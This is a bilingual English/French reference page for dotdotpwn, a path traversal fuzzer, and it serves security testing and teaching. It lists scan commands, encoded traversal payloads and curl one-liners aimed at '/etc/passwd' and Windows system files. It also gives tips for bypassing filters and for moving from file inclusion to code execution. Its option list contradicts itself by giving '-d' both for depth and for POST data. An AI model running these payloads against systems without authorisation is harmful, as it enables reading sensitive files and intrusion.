← retour aux outils back to tools

# dotdotpwn

Scanner de vulnérabilités de traversée de répertoires. Teste les applications web, serveurs FTP, TFTP et SMTP à la recherche de vulnérabilités de traversée de répertoires à l'aide de centaines de payloads encodés. Path traversal vulnerability scanner. Tests web applications, FTP, TFTP, and SMTP servers for directory traversal vulnerabilities using hundreds of encoded payloads.

↗ https://github.com/wireghoul/dotdotpwn

## Overview

dotdotpwn (The Directory Traversal Fuzzer) systematically tests for path traversal vulnerabilities using hundreds of payload variations — different encodings, null bytes, OS-specific separators, and Unicode tricks. Tests web applications as well as FTP, TFTP, and SMTP servers.

## Basic Usage

Scan HTTP with all default payloads

    dotdotpwn -m http -h target.com

Target specific URL with parameter

    dotdotpwn -m http -h target.com -U "/index.php?file=TRAVERSAL"

FTP server

    dotdotpwn -m ftp -h target.com -u admin -k password

TFTP server

    dotdotpwn -m tftp -h target.com

STDOUT mode (test payloads only, no requests)

    dotdotpwn -m stdout

## HTTP Mode

Basic HTTP traversal scan

    dotdotpwn -m http -h target.com -p 80

HTTPS

    dotdotpwn -m http -h target.com -p 443 -s

Custom URL with injection point (TRAVERSAL is the placeholder)

    dotdotpwn -m http -h target.com \
      -U "/download.php?file=TRAVERSAL" \
      -t 10 \
      -f /etc/passwd

With cookies

    dotdotpwn -m http -h target.com \
      -U "/page.php?path=TRAVERSAL" \
      -C "session=abc123"

POST request

    dotdotpwn -m http -h target.com \
      -U "/upload.php" \
      -M POST \
      -d "filename=TRAVERSAL"

## Target Files

Default target file: /etc/passwd (Linux)

    dotdotpwn -m http -h target.com -f /etc/passwd

    # Windows targets
    dotdotpwn -m http -h target.com -f "C:\\Windows\\win.ini"
    dotdotpwn -m http -h target.com -f "C:\\boot.ini"
    dotdotpwn -m http -h target.com -f "C:\\Windows\\System32\\drivers\\etc\\hosts"

## Depth and Encoding Options

Set traversal depth (default: 6)

    dotdotpwn -m http -h target.com -d 8

Quick scan (fewer payloads)

    dotdotpwn -m http -h target.com -q

Time between requests (ms)

    dotdotpwn -m http -h target.com -t 500

## Payload Types Tested

    Standard:
      ../../../etc/passwd
      ..\..\..\windows\win.ini

    URL Encoded:
      %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
      ..%2F..%2F..%2Fetc%2Fpasswd

    Double Encoded:
      %252e%252e%252f%252e%252e%252f

    Null byte bypass:
      ../../../etc/passwd%00.jpg

    Unicode:
      ..%c0%af..%c0%af..%c0%afetc/passwd

    Combinations of the above...

## Manual Testing Payloads

    # Quick manual test with curl
    curl "http://target.com/read.php?file=../../../etc/passwd"
    curl "http://target.com/read.php?file=..%2F..%2F..%2Fetc%2Fpasswd"
    curl "http://target.com/read.php?file=....//....//etc/passwd"
    curl "http://target.com/read.php?file=..%252F..%252F..%252Fetc%252Fpasswd"

## Tips

- dotdotpwn is very noisy — use slow mode (`-t 1000`) on sensitive targets
- If the application blocks `../`, try `..%2F` (URL encoded) or `..\/` (mixed)
- Null byte injection (`%00`) used to work with PHP string functions — less effective on modern PHP
- LFI → RCE: if you find a traversal, look for log poisoning or `/proc/self/fd/` inclusion

Help / Man page

    dotdotpwn -m MODULE -h HOST [options]

    -m MODULE    Module: http, ftp, tftp, smtp, stdout
    -h HOST      Target host
    -p PORT      Target port
    -U URL       URL with TRAVERSAL placeholder
    -s           Use SSL/HTTPS
    -d DEPTH     Traversal depth (default: 6)
    -f FILE      Target file to read
    -t DELAY     Delay between requests (ms)
    -q           Quick mode (fewer payloads)
    -u USER      Username (for FTP)
    -k PASS      Password (for FTP)
    -C COOKIES   Cookie header
    -M METHOD    HTTP method (GET/POST)
    -d DATA      POST data
    -x PROXY     HTTP proxy
    -b           Break on first match

## Vue d’ensemble

dotdotpwn (The Directory Traversal Fuzzer) teste systématiquement les vulnérabilités de traversée de chemin à l’aide de centaines de variations de payloads : différents encodages, null bytes, séparateurs spécifiques à l’OS, et astuces Unicode. Teste les applications web ainsi que les serveurs FTP, TFTP et SMTP.

## Utilisation de base

    # Scanner HTTP avec tous les payloads par défaut
    dotdotpwn -m http -h target.com

    # Cibler une URL spécifique avec un paramètre
    dotdotpwn -m http -h target.com -U "/index.php?file=TRAVERSAL"

    # Serveur FTP
    dotdotpwn -m ftp -h target.com -u admin -k password

    # Serveur TFTP
    dotdotpwn -m tftp -h target.com

    # Mode STDOUT (teste uniquement les payloads, sans requêtes)
    dotdotpwn -m stdout

## Mode HTTP

    # Scan de traversée HTTP basique
    dotdotpwn -m http -h target.com -p 80

    # HTTPS
    dotdotpwn -m http -h target.com -p 443 -s

    # URL personnalisée avec point d'injection (TRAVERSAL est le placeholder)
    dotdotpwn -m http -h target.com \
      -U "/download.php?file=TRAVERSAL" \
      -t 10 \
      -f /etc/passwd

    # Avec cookies
    dotdotpwn -m http -h target.com \
      -U "/page.php?path=TRAVERSAL" \
      -C "session=abc123"

    # Requête POST
    dotdotpwn -m http -h target.com \
      -U "/upload.php" \
      -M POST \
      -d "filename=TRAVERSAL"

## Fichiers cibles

    # Fichier cible par défaut : /etc/passwd (Linux)
    dotdotpwn -m http -h target.com -f /etc/passwd

    # Cibles Windows
    dotdotpwn -m http -h target.com -f "C:\\Windows\\win.ini"
    dotdotpwn -m http -h target.com -f "C:\\boot.ini"
    dotdotpwn -m http -h target.com -f "C:\\Windows\\System32\\drivers\\etc\\hosts"

## Options de profondeur et d’encodage

    # Définir la profondeur de traversée (par défaut : 6)
    dotdotpwn -m http -h target.com -d 8

    # Scan rapide (moins de payloads)
    dotdotpwn -m http -h target.com -q

    # Délai entre les requêtes (ms)
    dotdotpwn -m http -h target.com -t 500

## Types de payloads testés

    Standard:
      ../../../etc/passwd
      ..\..\..\windows\win.ini

    URL Encoded:
      %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
      ..%2F..%2F..%2Fetc%2Fpasswd

    Double Encoded:
      %252e%252e%252f%252e%252e%252f

    Null byte bypass:
      ../../../etc/passwd%00.jpg

    Unicode:
      ..%c0%af..%c0%af..%c0%afetc/passwd

    Combinations of the above...

## Payloads de test manuel

    # Test manuel rapide avec curl
    curl "http://target.com/read.php?file=../../../etc/passwd"
    curl "http://target.com/read.php?file=..%2F..%2F..%2Fetc%2Fpasswd"
    curl "http://target.com/read.php?file=....//....//etc/passwd"
    curl "http://target.com/read.php?file=..%252F..%252F..%252Fetc%252Fpasswd"

## Conseils

- dotdotpwn est très bruyant : utilisez le mode lent (`-t 1000`) sur les cibles sensibles
- Si l’application bloque `../`, essayez `..%2F` (encodé en URL) ou `..\/` (mixte)
- L’injection de null byte (`%00`) fonctionnait autrefois avec les fonctions de chaîne PHP : moins efficace sur les versions modernes de PHP
- LFI → RCE : si vous trouvez une traversée, cherchez du log poisoning ou l’inclusion de `/proc/self/fd/`

Aide / Page de manuel

    dotdotpwn -m MODULE -h HOST [options]

    -m MODULE    Module: http, ftp, tftp, smtp, stdout
    -h HOST      Target host
    -p PORT      Target port
    -U URL       URL with TRAVERSAL placeholder
    -s           Use SSL/HTTPS
    -d DEPTH     Traversal depth (default: 6)
    -f FILE      Target file to read
    -t DELAY     Delay between requests (ms)
    -q           Quick mode (fewer payloads)
    -u USER      Username (for FTP)
    -k PASS      Password (for FTP)
    -C COOKIES   Cookie header
    -M METHOD    HTTP method (GET/POST)
    -d DATA      POST data
    -x PROXY     HTTP proxy
    -b           Break on first match